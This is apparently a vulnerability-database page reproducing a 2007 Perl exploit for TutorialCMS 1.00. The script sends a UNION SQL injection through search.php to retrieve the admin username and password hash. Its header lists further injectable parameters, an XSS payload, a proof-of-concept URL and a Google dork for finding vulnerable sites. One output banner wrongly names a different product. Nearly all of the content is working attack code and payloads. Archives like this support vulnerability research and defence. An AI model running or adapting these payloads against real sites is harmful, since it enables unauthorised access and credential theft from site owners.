Lucene search
K

TutorialCMS <= 1.00 (search.php search) SQL Injection Exploit

🗓️ 11 May 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 19 Views

TutorialCMS <= 1.00 SQL Injection Exploit by Silentz, payload: Admin Username & Hash Retrieval, Vulnerable Code: search.php, Manual SQL Injection: browseCat.php, browseSubCat.php, openTutorial.php, search.php, topFrame.php, admin/editListing.php, PoC: http://victim.com/search.php, Subject To: magic_quotes_gpc set to off, GoogleDork: "Powered By Photoshop Tutorials", Shoutz: The entire w4ck1ng communit

Code

                                                #!/usr/bin/perl&nbsp;-w

#################################################################################
#										#
#		&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TutorialCMS&nbsp;&lt;=&nbsp;1.00&nbsp;SQL&nbsp;Injection&nbsp;Exploit			#
#										#
#&nbsp;Discovered&nbsp;by:&nbsp;Silentz							#
#&nbsp;Payload:&nbsp;Admin&nbsp;Username&nbsp;&amp;&nbsp;Hash&nbsp;Retrieval					#
#&nbsp;Website:&nbsp;http://www.w4ck1ng.com						#
#&nbsp;										#
#&nbsp;Vulnerable&nbsp;Code&nbsp;(search.php):							#
#										#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$search&nbsp;=&nbsp;$_REQUEST['search'];						#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$sql&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;&quot;SELECT&nbsp;*&nbsp;FROM&nbsp;tutorials&nbsp;WHERE&nbsp;title&nbsp;LIKE&nbsp;'%$search%'&nbsp;		#
#		&nbsp;&nbsp;ORDER&nbsp;BY&nbsp;hits&nbsp;DESC&nbsp;LIMIT&nbsp;$startID&nbsp;,&nbsp;$perPage&quot;;&nbsp;		#
#										#
#&nbsp;Manual&nbsp;SQL&nbsp;Injection:								#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;										#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;	browseCat.php?catFile=[SQL&nbsp;QUERY]					#
#	browseSubCat.php?catFile=[SQL&nbsp;QUERY]					#
#	openTutorial.php?id=[SQL&nbsp;QUERY]						#
#	search.php?search=[SQL&nbsp;QUERY]						#
#	topFrame.php?id=[SQL&nbsp;QUERY]						#
#	admin/editListing.php?id=[SQL&nbsp;QUERY]					#
#										#
#&nbsp;NOTE:&nbsp;All&nbsp;above&nbsp;parameters&nbsp;are&nbsp;vulnerable&nbsp;to&nbsp;XSS,&nbsp;so&nbsp;try:			#
#										#
#	search.php?search=&quot;&gt;&lt;script&gt;alert('http://www.w4ck1ng.com')&lt;/script&gt;	#		
#										#
#&nbsp;PoC:&nbsp;http://victim.com/search.php?search='&nbsp;UNION&nbsp;SELECT&nbsp;0,0,0,0,username,	#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;password,0,0,0,0,0,0,0&nbsp;FROM&nbsp;users&nbsp;WHERE&nbsp;id='1'&nbsp;/*			#
#&nbsp;										#
#&nbsp;Subject&nbsp;To:&nbsp;magic_quotes_gpc&nbsp;set&nbsp;to&nbsp;off					#
#&nbsp;GoogleDork:&nbsp;&quot;Powered&nbsp;By&nbsp;Photoshop&nbsp;Tutorials&quot;&nbsp;(0&nbsp;Results)			#
#										#
#&nbsp;Shoutz:&nbsp;The&nbsp;entire&nbsp;w4ck1ng&nbsp;community						#&nbsp;
#										#
#################################################################################

use&nbsp;LWP::UserAgent;
if&nbsp;(@ARGV&nbsp;&lt;&nbsp;1){
print&nbsp;&quot;-------------------------------------------------------------------------\r\n&quot;;
print&nbsp;&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TutorialCMS&nbsp;&lt;=&nbsp;1.00&nbsp;SQL&nbsp;Injection&nbsp;Exploit\r\n&quot;;
print&nbsp;&quot;-------------------------------------------------------------------------\r\n&quot;;
print&nbsp;&quot;Usage:&nbsp;w4ck1ng_tutorialcms.pl&nbsp;[PATH]\r\n\r\n&quot;;
print&nbsp;&quot;[PATH]&nbsp;=&nbsp;Path&nbsp;where&nbsp;TutorialCMS&nbsp;is&nbsp;located\r\n\r\n&quot;;
print&nbsp;&quot;e.g.&nbsp;w4ck1ng_tutorialcms.pl&nbsp;http://victim.com/tutorialcms/\r\n&quot;;
print&nbsp;&quot;-------------------------------------------------------------------------\r\n&quot;;
print&nbsp;&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;		&nbsp;http://www.w4ck1ng.com\r\n&quot;;
print&nbsp;&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;		&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;...Silentz\r\n&quot;;
print&nbsp;&quot;-------------------------------------------------------------------------\r\n&quot;;
exit();
}

$useragent&nbsp;=&nbsp;LWP::UserAgent-&gt;new()&nbsp;or&nbsp;die&nbsp;&quot;Could&nbsp;not&nbsp;initialize&nbsp;browser\n&quot;;
$useragent-&gt;agent('Mozilla/4.0&nbsp;(compatible;&nbsp;MSIE&nbsp;7.0;&nbsp;Windows&nbsp;NT&nbsp;5.1)');

$sql&nbsp;=&nbsp;$ARGV[0]&nbsp;.&nbsp;&quot;search.php?search='&nbsp;UNION&nbsp;SELECT&nbsp;0,0,0,0,username,password,0,0,password,0,password,0,0&nbsp;FROM&nbsp;users&nbsp;WHERE&nbsp;id='1'&nbsp;/*&quot;;
$result&nbsp;=&nbsp;$useragent-&gt;request(HTTP::Request-&gt;new(GET=&gt;$sql));

if($result-&gt;content&nbsp;=~&nbsp;/&quot;&gt;&lt;b&gt;&lt;u&gt;([0-9a-zA-Z]+)&lt;\/u&gt;/){
print&nbsp;&quot;-------------------------------------------------------------------------\r\n&quot;;
print&nbsp;&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SimpNews&nbsp;&lt;=&nbsp;2.40.01&nbsp;SQL&nbsp;Injection&nbsp;Exploit\r\n&quot;;
print&nbsp;&quot;-------------------------------------------------------------------------\r\n&quot;;
print&nbsp;&quot;[+]&nbsp;Admin&nbsp;User&nbsp;:&nbsp;$1\n&quot;;
}

else&nbsp;{print&nbsp;&quot;\n[-]&nbsp;Unable&nbsp;to&nbsp;retrieve&nbsp;admin&nbsp;username...&quot;}

if($result-&gt;content&nbsp;=~&nbsp;/([0-9a-fA-F]{32})/){
print&nbsp;&quot;[+]&nbsp;Admin&nbsp;Hash&nbsp;:&nbsp;$1\n&quot;;
print&nbsp;&quot;-------------------------------------------------------------------------\r\n&quot;;
print&nbsp;&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;		&nbsp;http://www.w4ck1ng.com\r\n&quot;;
print&nbsp;&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;		&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;...Silentz\r\n&quot;;
print&nbsp;&quot;-------------------------------------------------------------------------\r\n&quot;;
}

else&nbsp;{print&nbsp;&quot;\n[-]&nbsp;Unable&nbsp;to&nbsp;retrieve&nbsp;admin&nbsp;hash...\n&quot;;}
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation